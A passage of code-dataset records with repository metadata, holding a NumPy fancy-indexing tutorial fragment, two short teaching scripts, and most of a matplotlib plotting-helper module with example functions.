1] [0, 3]\n#  [2, 1] [2, 3]]\n\nprint(a_2d[[[0], [2]], [1, 3]])\n# [[ 1  3]\n#  [ 9 11]]\n\nidxs = np.ix_([0, 2], [1, 3])\nprint(idxs)\n# (array([[0],\n#        [2]]), array([[1, 3]]))\n\nprint(type(idxs))\n# <class 'tuple'>\n\nprint(type(idxs[0]))\n# <class 'numpy.ndarray'>\n\nprint(idxs[0])\n# [[0]\n#  [2]]\n\nprint(idxs[1])\n# [[1 3]]\n\nprint(a_2d[np.ix_([0, 2], [1, 3])])\n# [[ 1  3]\n#  [ 9 11]]\n\nprint(a_2d[np.ix_([2, 0], [3, 3, 3])])\n# [[11 11 11]\n#  [ 3  3  3]]\n\nprint(a_2d[[0, 2]][:, [1, 3]])\n# [[ 1  3]\n#  [ 9 11]]\n\na_2d = np.arange(12).reshape((3, 4))\nprint(a_2d)\n# [[ 0  1  2  3]\n#  [ 4  5  6  7]\n#  [ 8  9 10 11]]\n\na_2d[np.ix_([0, 2], [1, 3])] = 100\nprint(a_2d)\n# [[  0 100   2 100]\n#  [  4   5   6   7]\n#  [  8 100  10 100]]\n\na_2d[np.ix_([0, 2], [1, 3])] = [100, 200]\nprint(a_2d)\n# [[  0 100   2 200]\n#  [  4   5   6   7]\n#  [  8 100  10 200]]\n\na_2d[np.ix_([0, 2], [1, 3])] = [[100, 200], [300, 400]]\nprint(a_2d)\n# [[  0 100   2 200]\n#  [  4   5   6   7]\n#  [  8 300  10 400]]\n\nprint(a_2d[[0, 2]][:, [1, 3]])\n# [[100 200]\n#  [300 400]]\n\na_2d[[0, 2]][:, [1, 3]] = 0\nprint(a_2d)\n# [[  0 100   2 200]\n#  [  4   5   6   7]\n#  [  8 300  10 400]]\n\na_2d = np.arange(12).reshape((3, 4))\nprint(a_2d)\n# [[ 0  1  2  3]\n#  [ 4  5  6  7]\n#  [ 8  9 10 11]]\n\na_2d[[2, 0]] = [[100, 200, 300, 400], [500, 600, 700, 800]]\nprint(a_2d)\n# [[500 600 700 800]\n#  [  4   5   6   7]\n#  [100 200 300 400]]\n\na_2d[[2, 2]] = [[-1, -2, -3, -4], [-5, -6, -7, -8]]\nprint(a_2d)\n# [[500 600 700 800]\n#  [  4   5   6   7]\n#  [ -5  -6  -7  -8]]\n\na_2d = np.arange(12).reshape((3, 4))\nprint(a_2d)\n# [[ 0  1  2  3]\n#  [ 4  5  6  7]\n#  [ 8  9 10 11]]\n\na_fancy = a_2d[np.ix_([0, 2], [1, 3])]\nprint(a_fancy)\n# [[ 1  3]\n#  [ 9 11]]\n\na_fancy[0, 0] = 100\nprint(a_fancy)\n# [[100   3]\n#  [  9  11]]\n\nprint(a_2d)\n# [[ 0  1  2  3]\n#  [ 4  5  6  7]\n#  [ 8  9 10 11]]\n\na_2d = np.arange(12).reshape((3, 4))\nprint(a_2d)\n# [[ 0  1  2  3]\n#  [ 4  5  6  7]\n#  [ 8  9 10 11]]\n\nprint(a_2d[[2, 0], ::-1])\n# [[11 10  9  8]\n#  [ 3  2  1  0]]\n\nprint(a_2d[::2, [3, 0, 1]])\n# [[ 3  0  1]\n#  [11  8  9]]\n", "meta": {"hexsha": "80ac5a168bf65c3fed963bb141c8083c0168965f", "size": 3347, "ext": "py", "lang": "Python", "max_stars_repo_path": "notebook/numpy_fancy_indexing.py", "max_stars_repo_name": "vhn0912/python-snippets", "max_stars_repo_head_hexsha": "80b2e1d6b2b8f12ae30d6dbe86d25bb2b3a02038", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 174, "max_stars_repo_stars_event_min_datetime": "2018-05-30T21:14:50.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-25T07:59:37.000Z", "max_issues_repo_path": "notebook/numpy_fancy_indexing.py", "max_issues_repo_name": "vhn0912/python-snippets", "max_issues_repo_head_hexsha": "80b2e1d6b2b8f12ae30d6dbe86d25bb2b3a02038", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 5, "max_issues_repo_issues_event_min_datetime": "2019-08-10T03:22:02.000Z", "max_issues_repo_issues_event_max_datetime": "2021-07-12T20:31:17.000Z", "max_forks_repo_path": "notebook/numpy_fancy_indexing.py", "max_forks_repo_name": "vhn0912/python-snippets", "max_forks_repo_head_hexsha": "80b2e1d6b2b8f12ae30d6dbe86d25bb2b3a02038", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 53, "max_forks_repo_forks_event_min_datetime": "2018-04-27T05:26:35.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-25T07:59:37.000Z", "avg_line_length": 15.0089686099, "max_line_length": 100, "alphanum_fraction": 0.4320286824, "include": true, "reason": "import numpy", "num_tokens": 1962, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.47657965106367595, "lm_q2_score": 0.12085323090725615, "lm_q1q2_score": 0.05759619061569799}}
{"text": "import glob\nimport numpy as np\nimport matplotlib.pyplot as plt \n\nimport analysis_tools\n\nfilenames = sorted(glob.glob('inflammation*.csv'))\n\nfor f in filenames[:3]:\n    print(f)\n    analyse(f)\n    detect_problems(f)\n", "meta": {"hexsha": "4aacb915cf1a924e0dcec1c57f3b3fd28ddd8ef2", "size": 215, "ext": "py", "lang": "Python", "max_stars_repo_path": "rcsc18-data-analysis.py", "max_stars_repo_name": "waledeigt/rcsc18_lessons", "max_stars_repo_head_hexsha": "f2056c064fcd42e2096d7ff16fff9097764ee31b", "max_stars_repo_licenses": ["CC-BY-4.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "rcsc18-data-analysis.py", "max_issues_repo_name": "waledeigt/rcsc18_lessons", "max_issues_repo_head_hexsha": "f2056c064fcd42e2096d7ff16fff9097764ee31b", "max_issues_repo_licenses": ["CC-BY-4.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "rcsc18-data-analysis.py", "max_forks_repo_name": "waledeigt/rcsc18_lessons", "max_forks_repo_head_hexsha": "f2056c064fcd42e2096d7ff16fff9097764ee31b", "max_forks_repo_licenses": ["CC-BY-4.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 16.5384615385, "max_line_length": 50, "alphanum_fraction": 0.7255813953, "include": true, "reason": "import numpy", "num_tokens": 53, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.4765796510636759, "lm_q2_score": 0.12085322299118381, "lm_q1q2_score": 0.05759618684305899}}
{"text": "#! usr/bin/env python3\nimport numpy as np#the numpy library\nimport matplotlib.pyplot as plt#Matplotlib's pyplot\nimport sys#gives access to a c-like sys library\nimport os#gives access to operating system\nprint(sys.argv)#prints any command line arguments, incl program name\nprint(os.getcwd())#prints the current working directory", "meta": {"hexsha": "585bab79b7404e80f51bd345ce909674248f6c35", "size": 327, "ext": "py", "lang": "Python", "max_stars_repo_path": "useful_modules.py", "max_stars_repo_name": "eemerica/astr-119-session-3", "max_stars_repo_head_hexsha": "5612adab3c2cfbf644e9bdc47751d4276edab634", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "useful_modules.py", "max_issues_repo_name": "eemerica/astr-119-session-3", "max_issues_repo_head_hexsha": "5612adab3c2cfbf644e9bdc47751d4276edab634", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2018-10-05T17:56:10.000Z", "max_issues_repo_issues_event_max_datetime": "2018-10-18T18:19:32.000Z", "max_forks_repo_path": "useful_modules.py", "max_forks_repo_name": "eemerica/astr-119-hw-1", "max_forks_repo_head_hexsha": "cdd2469de6217beaf21f2b9f609a5414c066cfd3", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 46.7142857143, "max_line_length": 68, "alphanum_fraction": 0.8103975535, "include": true, "reason": "import numpy", "num_tokens": 72, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.3593641451601019, "lm_q2_score": 0.1602660263115288, "lm_q1q2_score": 0.05759386354364895}}
{"text": "\"\"\"\n\n\nGOL: Graphics in One Line\n\nTo make matplotlib plots in a single command line\n\n(I am tired of polluting my code with matplotlib instructions)\n\n\n\"\"\"\n\n__author__ = \"Manuel Sanchez del Rio\"\n__contact__ = \"srio@esrf.eu\"\n__copyright = \"ESRF, 2016\"\n\nimport numpy as np\ntry:\n    import matplotlib.pylab as plt\nexcept:\n    raise ImportError(\"Please install matplotlib to allow graphics\")\n\n\ndef set_qt():\n    try:\n        plt.switch_backend(\"Qt5Agg\")\n    except:\n        raise Exception(\"Failed to set matplotlib backend to Qt5Agg\")\n\ndef plot_show():\n    plt.show()\n\ndef plot_image(*positional_parameters,title=\"TITLE\",xtitle=r\"X\",ytitle=r\"Y\",\n               xrange=None, yrange=None,\n               cmap=None,aspect=None,show=1,\n               add_colorbar=True,figsize=None):\n\n    n_arguments = len(positional_parameters)\n    if n_arguments == 1:\n        z = positional_parameters[0]\n        x = np.arange(0,z.shape[0])\n        y = np.arange(0,z.shape[1])\n    elif n_arguments == 2:\n        z = positional_parameters[0]\n        x = positional_parameters[1]\n        y = positional_parameters[1]\n    elif n_arguments == 3:\n        z = positional_parameters[0]\n        x = positional_parameters[1]\n        y = positional_parameters[2]\n    else:\n        raise Exception(\"Bad number of inputs\")\n\n\n    fig = plt.figure(figsize=figsize)\n\n    # cmap = plt.cm.Greys\n    plt.imshow(z.T,origin='lower',extent=[x[0],x[-1],y[0],y[-1]],cmap=cmap,aspect=aspect)\n    if add_colorbar:\n        plt.colorbar()\n    ax = fig.gca()\n    ax.set_xlabel(xtitle)\n    ax.set_ylabel(ytitle)\n\n    plt.title(title)\n\n    plt.xlim( xrange )\n    plt.ylim( yrange )\n\n    if show:\n        plt.show()\n\n    return fig,ax\n\n\ndef plot_image_with_histograms(*positional_parameters,\n            title=\"\",xtitle=r\"X\",ytitle=r\"Y\",\n            xrange=None, yrange=None,\n            cmap=None,aspect_ratio=None,show=True,\n            add_colorbar=False,figsize=(8,8)\n            ):\n\n    n_arguments = len(positional_parameters)\n    if n_arguments == 1:\n        z = positional_parameters[0]\n        x = np.arange(0,z.shape[0])\n        y = np.arange(0,z.shape[1])\n    elif n_arguments == 2:\n        z = positional_parameters[0]\n        x = positional_parameters[1]\n        y = positional_parameters[1]\n    elif n_arguments == 3:\n        z = positional_parameters[0]\n        x = positional_parameters[1]\n        y = positional_parameters[2]\n    else:\n        raise Exception(\"Bad number of inputs\")\n\n    if xrange is None:\n        xrange = [x.min(),x.max()]\n\n    if yrange is None:\n        yrange = [y.min(),y.max()]\n\n\n    figure = plt.figure(figsize=figsize)\n\n    hfactor = 1.0\n    vfactor = 1.0\n\n    left, width = 0.1, 0.6\n    bottom, height = 0.1, 0.6\n    bottom_h = left_h = left + width + 0.02\n    rect_scatter = [left, bottom, width, height]\n    rect_histx = [left, bottom_h, width, 0.2]\n    rect_histy = [left_h, bottom, 0.2, height]\n\n    #\n    #main plot\n    #\n    axScatter = figure.add_axes(rect_scatter)\n\n    axScatter.set_xlabel(xtitle)\n    axScatter.set_ylabel(ytitle)\n\n\n    axScatter.axis(xmin=hfactor*xrange[0],xmax=xrange[1])\n    axScatter.axis(ymin=vfactor*yrange[0],ymax=yrange[1])\n\n    if aspect_ratio is not None:\n        axScatter.set_aspect(aspect_ratio)\n\n    axs = axScatter.pcolormesh(x,y,z,cmap=cmap)\n\n    #\n    #histograms\n    #\n    axHistx = figure.add_axes(rect_histx, sharex=axScatter)\n    axHisty = figure.add_axes(rect_histy, sharey=axScatter)\n\n    hx = z.sum(axis=0)\n    hy = z.sum(axis=1)\n    axHistx.plot(x,hx)\n    axHisty.plot(hy,y)\n\n\n    # tt = np.where(hx >= hx.max() * 0.5)\n    # if hx[tt].size > 1:\n    #     binSize = x[1] - x[0]\n    #     print(\"FWHM X: \",binSize * (tt[0][-1] - tt[0][0]))\n    #\n    #\n    # tt = np.where(hy >= hy.max() * 0.5)\n    # if hx[tt].size > 1:\n    #     binSize = y[1] - y[0]\n    #     print(\"FWHM Y: \",binSize * (tt[0][-1] - tt[0][0]))\n\n\n\n    # supress ordinates labels ans ticks\n    axHistx.get_yaxis().set_visible(False)\n    axHisty.get_xaxis().set_visible(False)\n\n    # supress abscissas labels (keep ticks)\n    for tl in axHistx.get_xticklabels(): tl.set_visible(False)\n    for tl in axHisty.get_yticklabels(): tl.set_visible(False)\n\n    if title != \"\":\n        axHistx.set_title(title)\n\n    if add_colorbar:\n        plt.colorbar(axs)\n\n    if show:\n        plt.show()\n\n    return figure #,ax\n\n\n\ndef plot(*positional_parameters,title=\"\",xtitle=\"\",ytitle=\"\",\n         xrange=None,yrange=None,show=1,legend=None,legend_position=None,color=None,marker=None,linestyle=None,\n         xlog=False,ylog=False,figsize=None):\n\n    if isinstance(positional_parameters,tuple):\n        if len(positional_parameters) == 1: # in the cvase that input is a tuple with all curves\n            positional_parameters = positional_parameters[0]\n\n    n_arguments = len(positional_parameters)\n    if n_arguments == 0:\n        return\n\n    fig = plt.figure(figsize=figsize)\n    if n_arguments == 1:\n        y = positional_parameters[0]\n        x = np.arange(y.size)\n        if linestyle == None:\n            linestyle = '-'\n        plt.plot(x,y,label=legend,marker=marker,color=color,linestyle=linestyle)\n    elif n_arguments == 2:\n        x = positional_parameters[0]\n        y = positional_parameters[1]\n        if linestyle == None:\n            linestyle = '-'\n        plt.plot(x, y, label=legend, color=color, marker=marker, linestyle=linestyle)\n    elif n_arguments % 2 == 0:\n        if legend is None:\n            legend = [None] * (n_arguments // 2)\n        if color is None:\n            color = [None] * (n_arguments // 2)\n\n        if marker is None:\n            marker = [None] * (n_arguments // 2)\n\n        if linestyle is None:\n            linestyle = ['-'] * (n_arguments // 2)\n\n        for i in range(n_arguments // 2):\n            plt.plot(positional_parameters[2*i],positional_parameters[2*i+1],label=legend[i],marker=marker[i],linestyle=linestyle[i],color=color[i])\n    else:\n        raise Exception(\"Incorrect number of arguments: found an odd number of data sets\")\n        # x = positional_parameters[0]\n        # y = positional_parameters[1]\n        # plt.plot(x,y,label=legend)\n\n    ax = plt.subplot(111)\n    if legend is not None:\n        ax.legend(bbox_to_anchor=legend_position)\n\n    if xlog:\n        ax.set_xscale(\"log\")\n\n    if ylog:\n        ax.set_yscale(\"log\")\n\n    plt.xlim( xrange )\n    plt.ylim( yrange )\n\n    plt.title(title)\n    plt.xlabel(xtitle)\n    plt.ylabel(ytitle)\n\n\n    if show:\n        plt.show()\n\n    return fig,ax\n\ndef plot_table(*positional_parameters,errorbars=None,xrange=None,yrange=None,\n               title=\"\",xtitle=\"\",ytitle=\"\",show=1,\n               legend=None,legend_position=None,color=None,\n               xlog=False,ylog=False,figsize=None):\n\n    n_arguments = len(positional_parameters)\n    if n_arguments == 0:\n        return\n\n    fig = plt.figure(figsize=figsize)\n\n    if n_arguments == 1:\n        y = positional_parameters[0]\n        x = np.arange(y.size)\n        plt.plot(x,y,label=legend)\n    elif n_arguments == 2:\n        x = positional_parameters[0]\n        y = positional_parameters[1]\n\n        if len(y.shape) == 1:\n            y = np.reshape(y,(1,y.size))\n            if isinstance(legend,str):\n                legend = [legend]\n            if isinstance(color,str):\n                color = [color]\n\n        for i in range(y.shape[0]):\n            if legend is None:\n                ilegend = None\n            else:\n                ilegend = legend[i]\n\n            if color is None:\n                icolor = None\n            else:\n                icolor = color[i]\n\n            if errorbars is None:\n                plt.plot(x,y[i],label=ilegend,color=icolor)\n            else:\n                plt.errorbar(x,y[i],yerr=errorbars[i],label=ilegend,color=icolor)\n    else:\n        raise Exception(\"Incorrect number of arguments\")\n\n    ax = plt.subplot(111)\n\n    if xlog:\n        ax.set_xscale(\"log\")\n\n    if ylog:\n        ax.set_yscale(\"log\")\n\n    if legend is not None:\n        if legend_position is None:\n            legend_position = (1.1, 1.05)\n        ax.legend(bbox_to_anchor=legend_position)\n\n    plt.xlim( xrange )\n    plt.ylim( yrange )\n\n    plt.title(title)\n    plt.xlabel(xtitle)\n    plt.ylabel(ytitle)\n\n\n    if show:\n        plt.show()\n\n    return fig,ax\ndef four_plots(x1,y1,x2,y2,x3,y3,x4,y4,title=\"\",xtitle=\"\",ytitle=\"\",xrange=None,yrange=None,show=True):\n    \"\"\"\n    Creates four plots in a window\n\n    :param x1: abscissas for plot 1\n    :param y1: ordinates for plot 1\n    :param x2: abscissas for plot 2\n    :param y2: ordinates for plot 2\n    :param x3: abscissas for plot 3\n    :param y3: ordinates for plot 3\n    :param x4: abscissas for plot 4\n    :param y4: ordinates for plot 4\n    :param title: a string or list of 4 strings with title\n    :param xtitle: a string or list of 4 strings with title for X\n    :param ytitle: a string or list of 4 strings with title for Y\n    :param xrange: the X range for all plots\n    :param yrange: the Y range for all plots\n    :param show:\n    :return:\n    \"\"\"\n\n    if isinstance(title,list):\n        Title = title\n    else:\n        Title = [title,title,title,title]\n\n    if isinstance(xtitle,list):\n        Xtitle = xtitle\n    else:\n        Xtitle = [xtitle,xtitle,xtitle,xtitle]\n\n    if isinstance(ytitle,list):\n        Ytitle = ytitle\n    else:\n        Ytitle = [ytitle,ytitle,ytitle,ytitle]\n\n    # Create subplots.\n    f, ((ax00, ax01), (ax10, ax11)) = plt.subplots(2, 2, sharex=\"all\", sharey=\"all\")\n\n    ax00.plot(x1,y1, \"-\")\n    ax00.set_title(  Title[0])\n    ax00.set_xlabel(Xtitle[0])\n    ax00.set_ylabel(Ytitle[0])\n    ax00.set_xlim(xrange)\n    ax00.set_ylim(yrange)\n\n\n    ax01.plot(x2,y2, \"-\")\n    ax01.set_title(  Title[1])\n    ax01.set_xlabel(Xtitle[1])\n    ax01.set_ylabel(Ytitle[1])\n    ax01.set_xlim(xrange)\n    ax01.set_ylim(yrange)\n\n\n    ax10.plot(x3,y3, \"-\")\n    ax10.set_title(  Title[2])\n    ax10.set_xlabel(Xtitle[2])\n    ax10.set_ylabel(Ytitle[2])\n    ax10.set_xlim(xrange)\n    ax10.set_ylim(yrange)\n\n\n    ax11.plot(x4,y4, \"-\")\n    ax11.set_title(  Title[3])\n    ax11.set_xlabel(Xtitle[3])\n    ax11.set_ylabel(Ytitle[3])\n    ax11.set_xlim(xrange)\n    ax11.set_ylim(yrange)\n\n    if show: plt.show()\n\n    return f,ax00,ax01,ax10,ax11\n\ndef plot_surface(mymode,theta,psi,title=\"TITLE\",xtitle=\"\",ytitle=\"\",ztitle=\"\",legend=None,cmap=None,\n                 figsize=None,show=1):\n\n    from matplotlib import cm\n    from matplotlib.ticker import LinearLocator, FormatStrFormatter\n    from mpl_toolkits.mplot3d import Axes3D\n\n    ftheta, fpsi = np.meshgrid(theta, psi)\n    fig = plt.figure(figsize=figsize)\n    ax = fig.gca(projection='3d')\n\n    II0 = mymode.T\n\n    if cmap == None:\n        cmap = cm.coolwarm\n\n    print(II0.shape,ftheta.shape,fpsi.shape)\n    surf = ax.plot_surface(ftheta, fpsi, II0, rstride=1, cstride=1, cmap=cmap,\n                           linewidth=0, antialiased=False)\n\n    ax.set_zlim(II0.min(),II0.max())\n    ax.zaxis.set_major_locator(LinearLocator(10))\n    ax.zaxis.set_major_formatter(FormatStrFormatter('%.02f'))\n    fig.colorbar(surf, shrink=0.5, aspect=5)\n    plt.title(title)\n    ax.set_xlabel(xtitle)\n    ax.set_ylabel(ytitle)\n    ax.set_zlabel(ztitle)\n\n    if show:\n        plt.show()\n\n    return fig,ax\n\ndef plot_scatter(x,y,show=1,nbins=100,xrange=None,yrange=None,plot_histograms=True,title=\"\",xtitle=\"\",ytitle=\"\"):\n    \"\"\"\n\n    makes a scatter plot with histograms\n\n    :param x: x data array\n    :param y: y data arrayif False the plot is not shown (use  not show\n    :param show: if False the plot is not shown (use  plot_show() later on)\n    :param nbins: number of bins for plots\n    :param xrange: [xmin,xmax] range for abscissas\n    :param yrange: [ymin,ymax] range for ordinates\n    :param plot_histograms: Flag to plot:\n            False or 0: plot no histograms\n            True or 1: plot both histograms\n            2: plot histograms vs abscissas only\n            3: plot histogram vs ordinates only\n    :param title: string with a title\n    :param xtitle: string with abscissas label\n    :param ytitle: string with ordinates label\n    :return: the matplotlib objects with the elements created\n    \"\"\"\n\n    from matplotlib.ticker import NullFormatter\n\n    # the random data\n\n    nullfmt   = NullFormatter()         # no labels\n\n    # definitions for the axes\n\n\n\n    if plot_histograms:\n        left, width    = 0.1, 0.65\n        bottom, height = 0.1, 0.65\n        bottom_h = left_h = left+width+0.02\n        rect_scatter = [left, bottom, width, height]\n        rect_histx   = [left, bottom_h, width, 0.2]\n        rect_histy   = [left_h, bottom, 0.2, height]\n    else:\n        left, width    = 0.1, 0.8\n        bottom, height = 0.1, 0.8\n        rect_scatter = [left, bottom, width, height]\n\n    # start with a rectangular Figure\n    fig = plt.figure(figsize=(8,8))\n\n    axScatter = plt.axes(rect_scatter)\n    if plot_histograms:\n        if plot_histograms == 2:\n            axHistx = plt.axes(rect_histx)\n            axHistx.xaxis.set_major_formatter(nullfmt)\n        elif plot_histograms == 3:\n            axHisty = plt.axes(rect_histy)\n            axHisty.yaxis.set_major_formatter(nullfmt)\n        else:\n            axHistx = plt.axes(rect_histx)\n            axHisty = plt.axes(rect_histy)\n            # no labels\n            axHistx.xaxis.set_major_formatter(nullfmt)\n            axHisty.yaxis.set_major_formatter(nullfmt)\n\n    # now determine nice limits by hand:\n    binwidth = np.array([x.max() - x.min(), y.max() - y.min()]).max() / nbins\n\n    if xrange == None:\n        xrange = np.array((x.min(), x.max()))\n    if yrange == None:\n        yrange = np.array((y.min(), y.max()))\n\n    # the scatter plot:\n    axScatter.scatter(x, y, marker='.', edgecolor='b', s=.1)\n\n    axScatter.set_xlabel(xtitle)\n    axScatter.set_ylabel(ytitle)\n    if not plot_histograms:\n        axScatter.set_title(title)\n\n    axScatter.set_xlim( xrange )\n    axScatter.set_ylim( yrange )\n\n    if plot_histograms:\n        bins_x = np.arange(xrange[0], xrange[1] + binwidth, binwidth)\n        if plot_histograms == 2:\n            axHistx.hist(x, bins=nbins)\n            axHistx.set_xlim( axScatter.get_xlim() )\n            axHistx.set_title(title)\n        elif plot_histograms == 3:\n            axHisty.hist(y, bins=nbins, orientation='horizontal')\n            axHisty.set_ylim( axScatter.get_ylim() )\n        else:\n            axHistx.hist(x, bins=nbins, range=xrange)\n            axHisty.hist(y, bins=nbins, range=yrange, orientation='horizontal')\n\n            axHistx.set_xlim( axScatter.get_xlim() )\n\n            axHistx.set_title(title)\n            axHisty.set_ylim( axScatter.get_ylim() )\n\n\n    if show: plt.show()\n\n    if plot_histograms:\n        if plot_histograms == 2:\n            return fig,axScatter,axHistx\n        elif plot_histograms == 3:\n            return fig,axScatter,axHisty\n        else:\n            return fig,axScatter,axHistx,axHisty\n    else:\n        return fig,axScatter\n\ndef plot_contour(z,x,y,title=\"TITLE\",xtitle=\"\",ytitle=\"\",xrange=None,yrange=None,plot_points=0,contour_levels=20,\n                 cmap=None,cbar=True,fill=False,cbar_title=\"\",figsize=None,show=1):\n\n    fig = plt.figure(figsize=figsize)\n\n    if fill:\n        fig = plt.contourf(x, y, z.T, contour_levels, cmap=cmap, origin='lower')\n    else:\n        fig = plt.contour( x, y, z.T, contour_levels, cmap=cmap, origin='lower')\n\n    if cbar:\n        cbar = plt.colorbar(fig)\n        cbar.ax.set_ylabel(cbar_title)\n\n\n    plt.title(title)\n    plt.xlabel(xtitle)\n    plt.ylabel(ytitle)\n\n    # the scatter plot:\n    if plot_points:\n        axScatter = plt.subplot(111)\n        axScatter.scatter( np.outer(x,np.ones_like(y)), np.outer(np.ones_like(x),y))\n\n    # set axes range\n    plt.xlim(xrange)\n    plt.ylim(yrange)\n\n    if show:\n        plt.show()\n\n    return fig\n#\n# examples\n#\n\ndef example_plot_image():\n    x = np.linspace(-4, 4, 90)\n    y = np.linspace(-4, 4, 90)\n    print('Size %d pixels' % (len(x) * len(y)))\n    z = np.sqrt(x[np.newaxis, :]**2 + y[:, np.newaxis]**2)\n    plot_image(z,x,y,title=\"example_plot_image\",xtitle=r\"X [$\\mu m$]\",ytitle=r\"Y [$\\mu m$]\",cmap=None,show=1)\n\ndef example_plot_image_with_histograms():\n    x = np.linspace(-4, 4, 200)\n    y = np.linspace(-4, 4, 90)\n    print('Size %d pixels' % (len(x) * len(y)))\n    z = -np.sqrt(x[np.newaxis, :]**2 + y[:, np.newaxis]**2)\n    plot_image_with_histograms(z,x,y,title=\"example_plot_image\",xtitle=r\"X [$\\mu m$]\",ytitle=r\"Y [$\\mu m$]\",\n                               cmap=None,show=1,figsize=(8,8),add_colorbar=True)\n\ndef example_plot_surface():\n    x = np.linspace(-4, 4, 20)\n    y = np.linspace(-4, 4, 20)\n    print('Size %d pixels' % (len(x) * len(y)))\n    z = np.sqrt(x[np.newaxis, :]**2 + y[:, np.newaxis]**2)\n    plot_surface(z,x,y,title=\"example_plot_surface\",xtitle=r\"X [$\\mu m$]\",ytitle=r\"Y [$\\mu m$]\",cmap=None,show=1)\n\ndef example_plot_scatter():\n    #example motivated by http://www.ster.kuleuven.be/~pieterd/python/html/core/scipystats.html\n    from scipy import stats\n    # x = np.random.rand(1000)\n    # y = np.random.rand(1000)\n    x = stats.norm.rvs(size=2000)\n    y = stats.norm.rvs(scale=0.5, size=2000)\n    data = np.vstack([x+y, x-y])\n    f = plot_scatter(data[0],data[1],xrange=[-10,10],title=\"example_plot_scatter\",\n                     xtitle=r\"X [$\\mu m$]\",ytitle=r\"Y [$\\mu m$]\",plot_histograms=2,show=0)\n    f[1].plot(data[0],data[0]) # use directly matplotlib to overplot\n    plot_show()\n\ndef example_plot_contour():\n    # deprecated in matplotlib. Copied from\" https://github.com/matplotlib/matplotlib/blob/81e8154dbba54ac1607b21b22984cabf7a6598fa/lib/matplotlib/mlab.py#L1866\n    def bivariate_normal(X, Y, sigmax=1.0, sigmay=1.0,\n                         mux=0.0, muy=0.0, sigmaxy=0.0):\n        \"\"\"\n        Bivariate Gaussian distribution for equal shape *X*, *Y*.\n        See `bivariate normal\n        <http://mathworld.wolfram.com/BivariateNormalDistribution.html>`_\n        at mathworld.\n        \"\"\"\n        Xmu = X - mux\n        Ymu = Y - muy\n\n        rho = sigmaxy / (sigmax * sigmay)\n        z = Xmu ** 2 / sigmax ** 2 + Ymu ** 2 / sigmay ** 2 - 2 * rho * Xmu * Ymu / (sigmax * sigmay)\n        denom = 2 * np.pi * sigmax * sigmay * np.sqrt(1 - rho ** 2)\n        return np.exp(-z / (2 * (1 - rho ** 2))) / denom\n\n    # inspired by http://stackoverflow.com/questions/10291221/axis-limits-for-scatter-plot-not-holding-in-matplotlib\n    # random data\n    x = np.random.randn(50)\n    y = np.random.randn(100)\n\n    X, Y = np.meshgrid(y, x)\n    Z1 = bivariate_normal(X, Y, 1.0, 1.0, 0.0, 0.0)\n    Z2 = bivariate_normal(X, Y, 1.5, 0.5, 1, 1)\n    Z = 10 * (Z1 - Z2)\n\n    plot_contour(Z,x,y,title='example_plot_contour',xtitle='x-stuff',ytitle='y-stuff',plot_points=1,show=1)\n\ndef example_plot_one_curve():\n    x = np.linspace(-100,100,10)\n    y = x**2\n    plot(x,y,xtitle=r'$x$',title=\"example_plot_one_curve\",\n         ytitle=r'$y=f(x)=x^2$',legend=\"Example 1\",color='pink',marker='o',linestyle=None,\n         figsize=(4,8),show=1)\n\ndef example_plot_one_curve_log():\n    x = np.linspace(-100,100,10)\n    y = x**2\n    plot(x,y,xtitle=r'$x$',title=\"example_plot_one_curve\",\n         ytitle=r'$y=f(x)=x^2$',legend=\"Example 1\",color='pink',marker='o',linestyle=None,xlog=1,ylog=1,show=1)\n\ndef example_plot_two_curves():\n    x1 = np.linspace(-100,100,1000)\n    y1 = x1**2\n    x2 = np.linspace(0,200,700)\n    y2 = x2**2.1\n    plot(x1,y1,x2,y2,xtitle=r'$x$',title=\"example_plot_two_curves\",\n         ytitle=r'$y=f(x)$',legend=[r\"$x^2$\",r\"$x^{2.1}$\"],color=['green','blue'],marker=[' ','o'],linestyle=['-',' '],show=1)\n\ndef example_plot_table():\n    x1 = np.linspace(0,100,100)\n    out = np.zeros((6,x1.size))\n    out[0,:] = x1**2\n    out[1,:] = x1**2.1\n    out[2,:] = x1**2.2\n    out[3,:] = x1**2.3\n    out[4,:] = x1**2.4\n    out[5,:] = x1**2.5\n    # another way\n    # out = np.vstack( (\n    #     x1**2,\n    #     x1**2.1,\n    #     x1**2.2,\n    #     x1**2.3,\n    #     x1**2.4,\n    #     x1**2.5 ))\n    legend=np.arange(out.shape[0]).astype(\"str\")\n    plot_table(x1,out,xtitle=r'$x$',ytitle=r'$y=f(x)$',title=\"example_plot_table\",legend=legend,show=1)\n\ndef example_plot_table_one_curve():\n    x1 = np.linspace(-100,100,1000)\n    out = x1**2\n    plot_table(x1,out,title=\"example_plot_table_one_curve\",xtitle=r'$x$',ytitle=r'$y=f(x)$',legend=\"Example 1\",color='pink',show=1)\n\ndef example_plot_table_with_errorbars():\n    x = np.linspace(0,100,30)\n    out = np.zeros((2,x.size))\n    out[0,:] = 1e-3 * x**2\n    out[1,:] = 5 + 1e-3 * x**2\n    yerr = np.sqrt(out)\n    yerr[1,:] = 1.0\n    plot_table(x,out,errorbars=yerr,title=\"example_plot_table_with_errorbars\",xtitle=r'$x$',ytitle=r'$y=f(x)=x^2$',xrange=[20,80],\n               legend=[\"Statistical error\",\"Constant 